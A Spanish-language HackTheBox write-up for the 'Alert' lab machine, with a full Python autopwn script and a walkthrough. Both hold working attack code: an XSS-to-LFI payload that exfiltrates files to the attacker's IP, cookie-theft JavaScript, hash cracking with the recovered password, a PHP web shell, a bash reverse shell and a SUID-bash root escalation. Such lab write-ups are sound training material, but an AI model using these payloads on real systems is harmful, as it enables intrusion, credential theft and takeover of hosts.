Alert
Writeup de la máquina Alert de HackTheBox.
Autopwned
Click para ver el autopwned
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
#!/usr/bin/env python3
# Author: Álvaro Bernal (aka. trr0r)
import sys, time, signal, requests, socket, subprocess, re, paramiko
from termcolor import colored
from pwn import *
from bs4 import BeautifulSoup
from threading import Thread
from base64 import b64decode
# Mostrar menos output
# context.log_level = 'warn'
# Debuging
# proxy = {"http" : "http://localhost:8080"}
filename = "/var/www/statistics.alert.htb/.htpasswd"
#filename = "/etc/passwd" # Elegir el fichero que queremos leer, por defecto será /var/www/statistics.alert.htb/.htpasswd
content_file = ""
# Variables Estáticas
PORT = 80
PORT_NC = 443
hash_file = "hash.txt"
wordlist = "/usr/share/wordlists/rockyou.txt"
def ctrl_c():
print(colored("\n\n[!] Saliendo...\n", 'red'))
sys.exit(1)
signal.signal(signal.SIGINT, ctrl_c)
def get_ip():
if len(sys.argv) != 3:
print(colored("\n\t[+] Uso: alert_autopwn.py target_ip host_ip\n", 'blue'))
sys.exit(1)
else:
return [sys.argv[1], sys.argv[2]]
def check_connect():
resultado = subprocess.run(["timeout", "2", "ping", "-c", "1", target_ip], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
if resultado.returncode != 0:
print(colored("\n[!] No tienes conectividad con la máquina víctima\n", 'red'))
sys.exit(1)
def upload_file():
print("") # Salto de línea, ya que si que no ponemos "\n" se bugea
file_bar = log.progress(colored("Subiendo fichero Markdown", "blue"))
md_url = "http://alert.htb/visualizer.php"
content_file = """
<script>
x=new XMLHttpRequest;
x.onload=function(){new Image().src="http://%s/?-%s-="+btoa(this.responseText)};
x.open("GET","http://alert.htb/messages.php?file=../../../../../../../..%s");x.send();
</script>
""" % (host_ip, filename, filename)
files = {
"file" : ("pwned.md", content_file, "text/markdown")
}
r = requests.post(md_url, files=files, )
soup = BeautifulSoup(r.text, "html.parser")
button = soup.find("a", class_="share-button")
link = button.get("href")
file_bar.success(colored(f"Fichero Markdown subido correctamente", 'green'))
return link
def send_link(link, host_ip, target_ip):
print("") # Salto de línea, ya que si que no ponemos "\n" se bugea
contact_bar = log.progress(colored("Enviando link al usuario administrador", 'blue'))
contact_url = "http://alert.htb/contact.php"
data = {
"email" : "trr0r@trr0r.com",
"message" : link
}
r = requests.post(contact_url, data=data, allow_redirects=False)
status = r.headers["Location"]
if "Message%20sent%20successfully!" in status:
contact_bar.success(colored(f"Link enviado correctamente", 'green'))
else:
contact_bar.failure(colored(f"Ha habido un problema al enviar el link", 'red'))
def recv_all(client):
data = b"" # Buffer donde almacenamos los datos
while True:
chunk = client.recv(4096) # Recibimos en bloques
if not chunk:
break # Salimos cuando ya no haya más datos
data += chunk # Agregamos al buffer
return data.decode(errors="ignore") # Convertimos a string
def get_file_content(host_ip, target_ip):
global content_file
print("") # Salto de línea, ya que si que no ponemos "\n" se bugea
file_content_log = log.progress(colored(f"Capturando el contenido del fichero \"{filename}\"", 'blue'))
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((host_ip, PORT))
server.listen(1)
while True:
client, client_addr = server.accept()
if client_addr[0] == target_ip:
file_content_log.status(colored("Solicitud recibida, procesando...", 'green'))
request = recv_all(client)
match = re.search(rf"GET /\?-{filename}-=([A-Za-z0-9+=/]+)", request)
if match:
file_content_log.success(colored(f"Contenido capturado exitosamente", 'green'))
content_file = base64.b64decode(match.group(1)).decode(errors="ignore")
content_file = re.sub(r"</?pre>", "", content_file)
print("") # Salto de línea, ya que si que no ponemos "\n" se bugea
log.info(colored(f"Contenido del fichero", 'green'))
print("") # Salto de línea, ya que si que no ponemos "\n" se bugea
for line in content_file.splitlines():
print(colored(line, 'red'))
break
def decode_password(content_file):
hash = content_file.strip()
crack_log = log.progress(colored(f"Crackeando el hash \"{hash}\"", 'blue'))
with open(hash_file, "w") as f:
f.write(hash)
subprocess.run(["hashcat", "-m", "1600", hash_file, wordlist, "--username", "--potfile-disable"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
result = subprocess.run(["hashcat", "-m", "1600", hash_file, "--username", "--show"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output = result.stdout.decode('utf-8').strip()
username = output.split(":")[0]
password = output.split(":")[-1]
crack_log.success(colored(f"Hash crackeado correctamente, \"{username}:{password}\"", 'green'))
return username, password
def connect_ssh(username, password, target_ip, host_ip):
# Nos ponemos en escucha por el puerto PORT_NC (443)
threading.Thread(target=listening, args=(PORT_NC,username,)).start()
# Nos conectamos a través de SSH
ssh_conn = ssh(user=username, host=target_ip, password=password)
# Escribimos la Reverse Shell en un fichero, ya que el servicio HTTP está siendo ejecutado por el root
ssh_conn.run(f"""cat <<EOF > /opt/website-monitor/config/trr0r.php
<?php system("bash -c 'bash -i >& /dev/tcp/{host_ip}/{PORT_NC} 0>&1'"); ?>
EOF""")
# Accedemos al fichero de la Reverse Shell
ssh_conn.run(f"curl localhost:8080/config/trr0r.php")
# Cerramos la conexión
ssh_conn.close()
def listening(PORT_NC, username):
listener = listen(PORT_NC)
conn = listener.wait_for_connection()
# Recibimos las dos cabeceras para evitar problemas
conn.recv()
conn.recv()
# Mostramos por pantalla las 2 flags
conn.sendline(b"""echo "User Flag -> `cat /home/albert/user.txt`"; echo "Root Flag -> `cat /root/root.txt`" """)
print(conn.recv().decode())
# Finalmente, entraremos en modo interactivo
conn.interactive()
# Borramos los ficheros que hemos creado
def clean_hash_file():
if os.path.exists(hash_file):
os.remove(hash_file)
if __name__ == '__main__':
target_ip, host_ip = get_ip()
check_connect()
link = upload_file()
file_thread = threading.Thread(target=get_file_content, args=(host_ip,target_ip))
file_thread.start()
send_link(link, host_ip, target_ip)
file_thread.join()
if filename == "/var/www/statistics.alert.htb/.htpasswd":
username = "albert"
password = "manchesterunited"
username, password = decode_password(content_file)
connect_ssh(username, password, target_ip, host_ip)
clean_hash_file()
Resumen de la resolución
Alert es una máquina Linux de dificultad Fácil en HackTheBox. Se inicia con la enumeración de puertos, identificando un servidor web vulnerable. Se explota una vulnerabilidad XSS para obtener LFI y acceder a archivos sensibles. Luego, se extraen credenciales desde un archivo .htpasswd, permitiendo el acceso como el usuario albert por SSH. Finalmente, se abusa de un grupo con privilegios especiales para ejecutar un chmod en /bin/bash, logrando una shell privilegiada y obteniendo acceso root.
Enumeración
En primer lugar, debemos desplegar la máquina para poder obtener la Dirección IP todo ello desde la web de HackTheBox y luego desde la terminal debemos conectarnos a la VPN usando el fichero correspondiente de la siguiente forma:
1
openvpn lab_trr0r.opvn
Después le lanzaremos un ping para ver si se encuentra activa dicha máquina, además de ver si acepta la traza ICM. Comprobamos que efectivamente nos devuelve el paquete que le enviamos por lo que acepta la traza ICMP, gracias al ttl podremos saber si se trata de una máquina Linux (TTL 64 ) y Windows (TTL 128), y vemos que se trata de una máquina Linux pues cuenta con TTL próximo a 64 (63), además gracias al script whichSystem.py podremos conocer dicha información.
El motivo por el cual el TTL es de 63 es porque el paquete pasa por unos intermediarios (routers) antes de llegar a su destino (máquina atacante). Esto podemos comprobarlo con el comando
ping -c 1 -R 10.10.11.44
.Nmap
En segundo lugar, realizaremos un escaneo por TCP usando Nmap para ver que puertos de la máquina víctima se encuentra abiertos.
1
nmap -p- --open --min-rate 5000 -sS -v -Pn -n 10.10.11.44 -oG allPorts
Observamos como nos reporta que tan solo se encuentran abiertos los puertos 22 y 80.
Ahora, gracias a la utilidad getPorts definida en nuestra .zshrc podremos copiarnos cómodamente todos los puerto abiertos de la máquina víctima a nuestra clipboard.
A continuación, volveremos a realizar un escaneo con Nmap, pero esta vez se trata de un escaneo más exhaustivo pues lanzaremos unos script básicos de reconocimiento, además de que nos intente reportar la versión y servicio que corre para cada puerto.
1
nmap -p22,80 -sCV 10.10.11.44 -oN targeted
En el segundo escaneo de Nmap, lo único que nos llamará la atención es el dominio alert.htb.
Puerto 80 - HTTP (Apache)
Para acceder a la página web, debemos añadir la siguiente línea 10.10.11.44 alert.htb
al archivo /etc/hosts
. Una vez editado, podremos ver el contenido de la página, donde notaremos que es posible subir archivos Markdown para posteriormente, visualizarlos.
En la sección About Us, se indica que el usuario administrador revisa los mensajes enviados a través de Contact Us.
En este punto, montaremos un servidor con Python (python3 -m http.server 80
) y verificaremos si el usuario administrador realmente revisa los mensajes. Para ello, enviaremos un mensaje con la siguiente estructura.
Tal como vemos a continuación, nos llegará una petición desde la máquina víctima, por lo que comprobamos que el usuario administrador está revisando los mensajes enviados en Contact Us.
En este punto, lo que haremos será crear un archivo llamado pwned.md
con el siguiente contenido.
1
<h1>Testing</h1>
Subiremos dicho archivo (pwned.md
) a la web y veremos que interpreta el código HTML. Además, aparecerá un enlace para compartir el archivo.
Cambiaremos el contenido de pwned.md
por el siguiente.
1
<script>alert("Se está ejecutando javascript")</script>
Al subir el archivo, veremos que interpreta el código JavaScript, por lo que es vulnerable a un ataque XSS.
Actualizaremos el contenido de pwned.md
con el siguiente código para comprobar si es capaz de realizar una petición a un recurso externo.
1
<script src="http://10.10.16.51/pwned.js"></script>
Al subir el archivo pwned.md
, se generará un enlace, el cual enviaremos al usuario administrador a través de la sección Contact Us.
Tras habernos montado previamente un servidor con Python (python3 -m http.server 80
), veremos cómo recibimos una petición al recurso pwned.js
.
Una vez que hemos comprobado que el usuario administrador es capaz de acceder a recursos externos (pwned.js
), actualizaremos el contenido del recurso interno con el siguiente código para intentar un Cookie Hijacking.
1
2
3
let req = new XMLHttpRequest();
req.open("GET", "http://10.10.16.51/?cookie="+document.cookie)
req.send()
Volveremos a enviar el mismo enlace al usuario administrador y veremos cómo no podemos secuestrar su cookie, ya que no se están utilizando.
En este punto, como nos hemos quedado sin opciones, realizaremos un escaneo haciendo uso de Gobuster de la siguiente forma.
1
gobuster dir -u http://alert.htb -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php -t 100
Entre todos los ficheros .php
que nos descubre, nos llamará la atención el messages.php
.
Accederemos a messages.php
utilizando el parámetro que se pasa por GET, es decir, ?page=messages
, pero veremos que la página vacía. Pensaremos que solo el usuario administrador tiene permiso para verla.
Explotación
XSS → LFI
A partir del XSS que hemos encontrado, modificaremos el contenido de pwned.js
para poder leer el contenido de messages.php
.
1
2
3
4
let req = new XMLHttpRequest();
req.onload=function(){let img = new Image(); img.src="http://10.10.16.51/?content="+btoa(this.responseText)}
req.open("GET", "http://alert.htb/index.php?page=messages")
req.send()
Tal y como vemos a continuación, nos llegará una petición de nuestra Dirección IP con menos contenido que la de Dirección IP de la máquina víctima.
Decodificaremos el contenido recibido en nuestra petición (echo -n '<base64-content>' | base64 -d | cat -l html
), pero no veremos nada diferente a lo que ya veíamos en la página web.
A continuación, decodificaremos el contenido recibido en la petición de la Dirección IP de la máquina víctima, y veremos un hipervínculo el cual se encarga de acceder a un archivo de la máquina víctima mediante el parámetro file
.
Modificaremos nuestro archivo pwned.js
para poder visualizar el contenido de la siguiente página, http://alert.htb/messages.php?file=../../../../etc/passwd
.
1
2
3
4
let req = new XMLHttpRequest();
req.onload=function(){let img = new Image(); img.src="http://10.10.16.51/?content="+btoa(this.responseText)}
req.open("GET", "http://alert.htb/messages.php?file=../../../../etc/passwd")
req.send()
Tras enviar el enlace al usuario administrador, veremos que efectivamente se produce un LFI , lo que nos permitirá ver el contenido de /etc/passwd
de la máquina víctima.
[!INFO] En este punto, podríamos intentar leer las claves
id_rsa
de los usuarios albert y david, pero lo intentaríamos sin éxito.
Como recordamos, se estaba usando apache2 como servidor HTTP, por lo que intentaremos leer su archivo de configuración (/etc/apache2/sites-available/000-default.conf
).
Como podemos ver, encontraremos un subdominio (statistics.alert.htb
), en el cual se está utilizando una autenticación de tipo Basic.
Añadiremos este nuevo subdominio al archivo /etc/hosts
, y al acceder a él veremos que nos solicita unas credenciales para poder ingresar.
En este punto, intentaremos leer el contenido del archivo /var/www/statistics.alert.htb/.htpasswd
, ya que en él suele encontrarse un nombre de usuario y contraseña.
Al leer el contenido de dicho fichero, veremos que un nombre de usuario (albert) y un hash.
Cracking Hash
Haciendo uso de hashcat, crackearemos el hash gracias al siguiente comando.
1
hashcat hash /usr/share/wordlists/rockyou.txt --user
Veremos que nos encuentra una contraseña, manchesterunited.
Intentaremos logearnos en dicho panel con las credenciales encontradas (albert:manchesterunited).
“Conseguiremos acceder correctamente al panel, donde veremos un montón de correos electrónicos.
Como recordamos, el puerto 22 (ssh) estaba abierto. Además, al leer el contenido de /etc/passwd
, vimos que existía un usuario llamado albert, por lo que intentaremos conectarnos a través de ssh de la siguiente forma.
1
ssh albert@10.10.11.44 # Password: manchesterunited
Nos conectaremos correctamente por lo que habremos ganado acceso a la máquina víctima, además cambiaremos nuestra variable de entorno TERM (export TERM=xterm
) para poder limpiar la pantalla, es decir poder hacer un CTRL+L.
Escalada de privilegios
Enumeración local
Una vez hemos ganado acceso a la máquina víctima, listaremos nuestros permisos de Sudoers, pero veremos que no tenemos ninguno.
También, listaremos los permisos SUID, pero tampoco encontraremos nada interesante.
Si miramos los grupos a los que pertenecemos, nos llamará la atención el grupo management, ya que es algo inusual.
Buscaremos archivos que tengan como propietario al grupo management y encontraremos un directorio ubicado en /opt/website-monitor/config
.
Si examinamos los procesos en ejecución y filtramos por el nombre del directorio (ps -aux | grep website-monitor
), veremos que la aplicación ubicada en /opt/website-monitor
está desplegada en el puerto 8080 por el usuario root.
Si revisamos los puertos abiertos en la máquina víctima (netstat -ntlp
), podemos confirmar que el puerto 8080, perteneciente a /opt/website-monitor
, está abierto internamente.
Para poder ver el contenido de la página web, realizaremos un Local Port Forwarding utilizando ssh. Para ello, debemos conectarnos a la máquina víctima con el siguiente comando.
1
ssh albert@alert.htb -L 8080:localhost:8080
Al acceder a nuestro localhost:8080
, veremos el contenido alojado en el puerto 8080 de la máquina víctima.
Abuso de grupos especiales (management)
Si revisamos los permisos que tenemos sobre las carpetas de /opt/website-monitor
, veremos que tenemos capacidad de escritura sobre la carpeta /config
y /monitors
.
En este punto, lo que haremos será crear un archivo .php en alguna de estas dos carpetas. Para ello, utilizaremos el siguiente comando.
1
echo '<?php system($_GET["cmd"]); ?>' > cmd.php
Posteriormente, accederemos a dicho archivo a través de la página web y veremos que tenemos ejecución remota de comandos (RCE) como el usuario root.
Para elevar nuestros privilegios asignaremos permiso SUID a la /bin/bash. Para ello, debemos de ejecutar lo siguiente: chmod u+s /bin/bash
.
En el caso de que el anterior comando nos de un error, ejecutaremos un
chmod 4777 /bin/bash
.
Finalmente, nos ejecutaremos una bash privilegiada con bash -p
, por lo que nos habremos convertido en root de forma efectiva (efective user).
Alternativamente podíamos habernos mandado una Reverse Shell o introducir nuestra clave pública en
/root/.ssh/authorized_keys